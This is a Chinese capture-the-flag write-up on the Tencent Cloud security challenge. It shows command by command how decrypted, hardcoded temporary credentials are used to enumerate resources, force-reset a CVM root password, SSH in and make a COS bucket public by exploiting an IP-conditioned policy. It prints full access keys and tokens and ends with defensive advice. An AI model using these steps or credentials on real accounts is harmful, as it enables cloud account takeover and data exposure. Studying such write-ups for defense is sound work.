腾讯云安全挑战赛第一期wp
字数 1258 2025-09-23 19:27:38
腾讯云安全挑战赛第一期Writeup:COS提权与利用技术分析
概述
本文基于腾讯云安全挑战赛第一期的实战题目,详细分析通过加密凭证获取、权限提升及云服务利用的全过程。题目涉及加密数据解密、临时密钥利用、云API操作及权限绕过技术,重点考察对腾讯云API及安全策略的理解。
一、加密数据处理与解密
1.1 加密数据识别
提供的Python脚本包含以下核心组件:
- 密钥:
KEY = b"Lxnt1evByMdubwx9" - 加密数据:
DATA数组包含多个Base64编码的字符串 - 解密方法:使用AES-ECB模式PKCS5填充解密
1.2 解密脚本分析
def aes_ecb_pkcs5_decrypt(b64s: str) -> str:
raw = base64.b64decode(b64s)
# 尝试使用pycryptodome库解密
# 尝试使用cryptography库解密
return dec.decode("utf-8", errors="replace")
def deobfuscate_xor_from_b64(s: str) -> str:
data = base64.b64decode(s)
data = bytes(b ^ 0x23 for b in data) # XOR解密(密钥0x23)
return data.decode("utf-8", errors="replace")
1.3 解密结果
运行脚本后得到以下关键信息:
- AccessKey (AK):
AKIDFG840k8ov09ZfQ6VdlfW-7Xpyyn0Uuak6bH_YS1CqANS0iZ995r00MAXrPhbEjVX - SecretKey (SK):
/HihyTU6/YmEf8nD1ujPZi8DthZiI7b+9eZKS76jpAg= - Session Token:长临时令牌(具体见原始数据)
二、云API凭证配置
2.1 配置腾讯云CLI
tccli configure
# 依次输入AK、SK、区域(ap-guangzhou)、输出格式(json)
2.2 配置AWS CLI(兼容S3协议)
# ~/.aws/config
[default]
region = ap-guangzhou
s3 =
endpoint_url = https://cos.ap-guangzhou.myqcloud.com
addressing_style = virtual # 必须使用虚拟托管样式
# ~/.aws/credentials
[default]
aws_access_key_id = AKIDrGuURY3ThyLSMqDsEv1ecnGSsRP0m0krNNUWUgTvqr_IitXJvmdelZq8dx5XEtt3
aws_secret_access_key = q9wsCzWhmEp3E/DvDhld/MMiuDo8yTn0shcpM7wBB1o=
aws_session_token = ukN1JfAFyFEJbyw3cdc5TTdUzPBhknna27c03053a861748506b924176014da27MuPprHAIl3oB2kxiKigKZ3oP1nsJz1BPLiljMlfGOSIlVWWb9uk_wtk1LKFaWPcJUJ44PxuPnc_f3dRc26dfmvJnOxgtmzdfjeZMsyq0iUbwcO1Be0_UlwREY9GPw4hvvUqdUkv6SJyb-6yVNoDA0hXnUBUgEKFRCGAJ7bs5_8tq_gok265jvp7Nes1NJ_ZEedEff4Tzd5iXb6Ix1ZSyGe4Yy4TJEcs2ixHvSXsCpqNLNSCR1JDSOG66GrfAqO0bC-uvsVrwva49kxchxWa_NR9cRaSoSumJE-N2siJ2pUZhDuqvNBUujkbHKo6Tqtg7Z8-mLjmfxZOY3HhJZOoR73Drqhpt6ILX4IcEuoNyOEQ9lkjg10lW_OoCKQmv__Iey6_9IqWYfIVgOwChCYGzhD-TrEHmjGickxNXzG3qKEez8YTWc973G7UhBplySXuq0oziGVjfWOxQ3MqocCTsyONWyZHsIo9RdnsZNuzvMFyR6JBgc-2l1r2p5hNunusTalPtZWsi0nBj3Co0ZRDe_OQqv6Xkbpn4eVgiryKLKwH4iTid2nCTBY9kDj0tS76_U_QVlLIK3zagu5xF3RR37Xy3BE_29q-XkbX8S0nNM1wwUAVO6L_zWUMUwaWu2UkDab1OXi-RV98a8N6bs9WCtA
三、权限探测与绕过
3.1 获取当前身份信息
tccli sts GetCallerIdentity
# 返回结果包含:
# - AccountId: 100026992078
# - UserId: 100043488407:challenge_01_xkeb6gd9n2ee
# - PrincipalId: 100043488407
3.2 分析Bucket策略
aws s3api get-bucket-policy --bucket 21cf8bc7bq56-1313380398 \
--endpoint-url http://cos.ap-guangzhou.myqcloud.com
策略内容显示:
- 拒绝操作:
cos:PutBucketACL - 条件限制:IP不在
43.138.212.54或172.16.0.22时拒绝 - 主体:当前用户ID
3.3 列举CVM实例
通过API列举当前账户下的云服务器实例,发现关键目标:
- 实例ID:
ins-hc0ktysk - 内网IP:
172.16.0.22(符合Bucket策略允许的IP) - 登录配置:未设置密码、未绑定密钥,默认用户
root
四、权限提升与利用
4.1 密码重置绕过
由于直接停止实例权限不足,使用腾讯云Python SDK强制重置密码:
from tencentcloud.common.common_client import CommonClient
from tencentcloud.common import credential
cred = credential.Credential("AKID", "SK", "TOKEN")
params = {
"InstanceIds": ["ins-hc0ktysk"],
"Password": "Aa112211.", # 设置新密码
"UserName": "root",
"ForceStop": True # 强制停止实例
}
common_client = CommonClient("cvm", "2017-03-12", cred, "ap-guangzhou")
common_client.call_json("ResetInstancesPassword", params)
4.2 登录目标实例
通过SSH登录获取控制权:
ssh root@119.29.168.151 # 使用重置后的密码
4.3 修改Bucket ACL
在授权IP环境下执行ACL修改:
aws s3api put-bucket-acl --bucket 21cf8bc7bq56-1313380398 \
--acl public-read \
--endpoint-url https://cos.ap-guangzhou.myqcloud.com
五、关键技术点总结
-
加密逆向:
- AES-ECB模式Base64加密数据解密
- XOR异或解码(0x23密钥)
-
云API利用:
- 临时凭证的配置与验证
- S3协议兼容性操作COS
-
权限绕过:
- 利用IP条件策略的缺陷
- 通过CVM实例作为跳板
-
提权技术:
- 强制重置密码绕过权限限制
- 利用内网IP满足策略条件
六、防御建议
-
临时凭证管理:
- 限制临时密钥的作用范围和有效期
- 避免在代码中硬编码密钥
-
权限最小化:
- 遵循最小权限原则分配策略
- 避免使用通配符资源路径
-
网络隔离:
- 关键资源应限制在内网访问
- 使用安全组和网络ACL限制IP
-
操作审计:
- 启用CloudTrail或审计日志功能
- 监控异常API调用行为
通过以上分析,该挑战赛题目全面覆盖了云安全中的密钥管理、权限控制和漏洞利用技术,对云安全防护体系建设具有重要参考价值。